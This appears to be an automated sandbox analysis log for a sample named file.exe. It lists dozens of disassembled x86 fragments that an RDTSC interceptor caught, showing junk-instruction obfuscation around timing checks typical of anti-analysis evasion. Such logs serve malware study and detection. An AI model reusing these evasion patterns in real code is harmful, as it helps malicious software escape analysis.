Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9EED8 second address: E9EEDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F61A second address: E9F61F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F8B1 second address: E9F8B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA265D second address: EA266B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FEF0CF037B6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA7938 second address: EA7945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA7D72 second address: EA7D78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA7D78 second address: EA7D7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA7D7C second address: EA7D80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA7548 second address: EA754C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA754C second address: EA7550 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA81FC second address: EA8200 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA837E second address: EA8382 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA84C6 second address: EA84E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FEF0C869B76h 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c push esi 0x0000000d jmp 00007FEF0C869B7Bh 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA84E2 second address: EA84E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA84E6 second address: EA84EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB0141 second address: EB0145 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB0145 second address: EB0163 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FEF0C869B7Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FEF0C869B7Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB0163 second address: EB016B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB016B second address: EB016F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB016F second address: EB0179 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEF0CF037B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB0179 second address: EB0185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAF01B second address: EAF021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAF021 second address: EAF035 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 je 00007FEF0C869B76h 0x0000000c jl 00007FEF0C869B76h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAF035 second address: EAF04E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FEF0CF037C2h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAF04E second address: EAF070 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0C869B88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAF070 second address: EAF085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop esi 0x00000007 ja 00007FEF0CF037BEh 0x0000000d push edx 0x0000000e pop edx 0x0000000f jo 00007FEF0CF037B6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAF085 second address: EAF08A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E711AA second address: E711B4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FEF0CF037B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E711B4 second address: E711BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E711BA second address: E711BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E711BE second address: E71229 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007FEF0C869B89h 0x0000000e xor dword ptr [ebp+122D3CD8h], ebx 0x00000014 lea eax, dword ptr [ebp+12475F48h] 0x0000001a push 00000000h 0x0000001c push esi 0x0000001d call 00007FEF0C869B78h 0x00000022 pop esi 0x00000023 mov dword ptr [esp+04h], esi 0x00000027 add dword ptr [esp+04h], 00000017h 0x0000002f inc esi 0x00000030 push esi 0x00000031 ret 0x00000032 pop esi 0x00000033 ret 0x00000034 jmp 00007FEF0C869B81h 0x00000039 mov ecx, ebx 0x0000003b nop 0x0000003c push eax 0x0000003d push edx 0x0000003e je 00007FEF0C869B78h 0x00000044 push ebx 0x00000045 pop ebx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7164C second address: E71652 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71652 second address: E71656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71656 second address: CCEE7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0CF037C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e jmp 00007FEF0CF037C1h 0x00000013 push dword ptr [ebp+122D0369h] 0x00000019 jns 00007FEF0CF037BBh 0x0000001f movsx edx, si 0x00000022 call dword ptr [ebp+122D2B52h] 0x00000028 pushad 0x00000029 jl 00007FEF0CF037C8h 0x0000002f jmp 00007FEF0CF037C2h 0x00000034 xor eax, eax 0x00000036 cmc 0x00000037 mov edx, dword ptr [esp+28h] 0x0000003b cmc 0x0000003c pushad 0x0000003d mov ecx, dword ptr [ebp+122D2D98h] 0x00000043 popad 0x00000044 mov dword ptr [ebp+122D3068h], eax 0x0000004a jp 00007FEF0CF037B7h 0x00000050 mov esi, 0000003Ch 0x00000055 jmp 00007FEF0CF037C2h 0x0000005a add esi, dword ptr [esp+24h] 0x0000005e stc 0x0000005f lodsw 0x00000061 sub dword ptr [ebp+122D1CACh], ecx 0x00000067 add eax, dword ptr [esp+24h] 0x0000006b jmp 00007FEF0CF037C3h 0x00000070 mov ebx, dword ptr [esp+24h] 0x00000074 mov dword ptr [ebp+122D1C06h], eax 0x0000007a sub dword ptr [ebp+122D1CACh], edi 0x00000080 nop 0x00000081 jno 00007FEF0CF037BEh 0x00000087 push eax 0x00000088 pushad 0x00000089 push ebx 0x0000008a push eax 0x0000008b push edx 0x0000008c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E717B7 second address: E717BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E717BD second address: E717D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007FEF0CF037BCh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E717D7 second address: E717FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007FEF0C869B7Dh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007FEF0C869B7Ch 0x00000017 jns 00007FEF0C869B76h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E717FC second address: E7182B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FEF0CF037B6h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 jmp 00007FEF0CF037C9h 0x0000001a pop edi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7191E second address: E71938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FEF0C869B81h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71B63 second address: E71B67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71B67 second address: E71B8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEF0C869B89h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71B8C second address: E71B90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71B90 second address: E71B96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E724A5 second address: E5750C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0CF037BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007FEF0CF037C2h 0x00000012 call dword ptr [ebp+122D3485h] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b jl 00007FEF0CF037B6h 0x00000021 jng 00007FEF0CF037B6h 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAF34B second address: EAF357 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAF357 second address: EAF35B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAF35B second address: EAF363 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71763 second address: E71767 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71767 second address: E717B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 26D47C9Fh 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FEF0C869B78h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 call 00007FEF0C869B79h 0x0000002c jmp 00007FEF0C869B83h 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 push edi 0x00000037 pop edi 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAF519 second address: EAF524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAF524 second address: EAF528 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAF817 second address: EAF82F instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEF0CF037BCh 0x00000008 jnp 00007FEF0CF037B6h 0x0000000e jl 00007FEF0CF037BEh 0x00000014 push esi 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAFC41 second address: EAFC48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAFC48 second address: EAFC62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEF0CF037C4h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB6AD1 second address: EB6AD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB6AD7 second address: EB6ADB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB6ADB second address: EB6AE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB6AE7 second address: EB6AF3 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FEF0CF037B6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB5743 second address: EB575E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007FEF0C869B85h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB58A1 second address: EB58B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0CF037BBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB58B0 second address: EB58B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB5A50 second address: EB5A57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB5A57 second address: EB5A8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEF0C869B86h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FEF0C869B85h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB5A8D second address: EB5A91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB5A91 second address: EB5A97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB5D90 second address: EB5DC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FEF0CF037C5h 0x0000000a pushad 0x0000000b jmp 00007FEF0CF037C7h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB5F1A second address: EB5F2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEF0C869B7Ah 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB5F2E second address: EB5F3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEF0CF037BAh 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB5F3D second address: EB5F44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB5F44 second address: EB5F4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB5F4F second address: EB5F5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEF0C869B7Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB6097 second address: EB609D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB609D second address: EB60BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FEF0C869B87h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB61FD second address: EB6218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEF0CF037C0h 0x00000009 jnl 00007FEF0CF037B6h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB512D second address: EB513C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007FEF0C869B76h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB513C second address: EB5140 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB5140 second address: EB5146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E39242 second address: E39256 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FEF0CF037B6h 0x0000000a popad 0x0000000b popad 0x0000000c push ecx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB98F2 second address: EB9903 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jl 00007FEF0C869B7Ch 0x0000000b jns 00007FEF0C869B76h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB9BC2 second address: EB9BC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB9BC7 second address: EB9BCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB9BCF second address: EB9BD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB9BD3 second address: EB9BD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB55D second address: EBB584 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0CF037C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FEF0CF037BEh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB584 second address: EBB588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB588 second address: EBB59A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEF0CF037B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jng 00007FEF0CF037BEh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBD5AB second address: EBD5D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0C869B89h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jp 00007FEF0C869B78h 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBD5D8 second address: EBD5DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC41C7 second address: EC41CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC2A47 second address: EC2A4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC2A4E second address: EC2A7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FEF0C869B76h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push edi 0x0000000f jmp 00007FEF0C869B7Eh 0x00000014 pop edi 0x00000015 ja 00007FEF0C869B7Eh 0x0000001b jc 00007FEF0C869B76h 0x00000021 push esi 0x00000022 pop esi 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC2A7D second address: EC2A87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC2BE6 second address: EC2BEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC2BEC second address: EC2C0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FEF0CF037C9h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC2C0A second address: EC2C16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jng 00007FEF0C869B76h 0x0000000c rdtsc
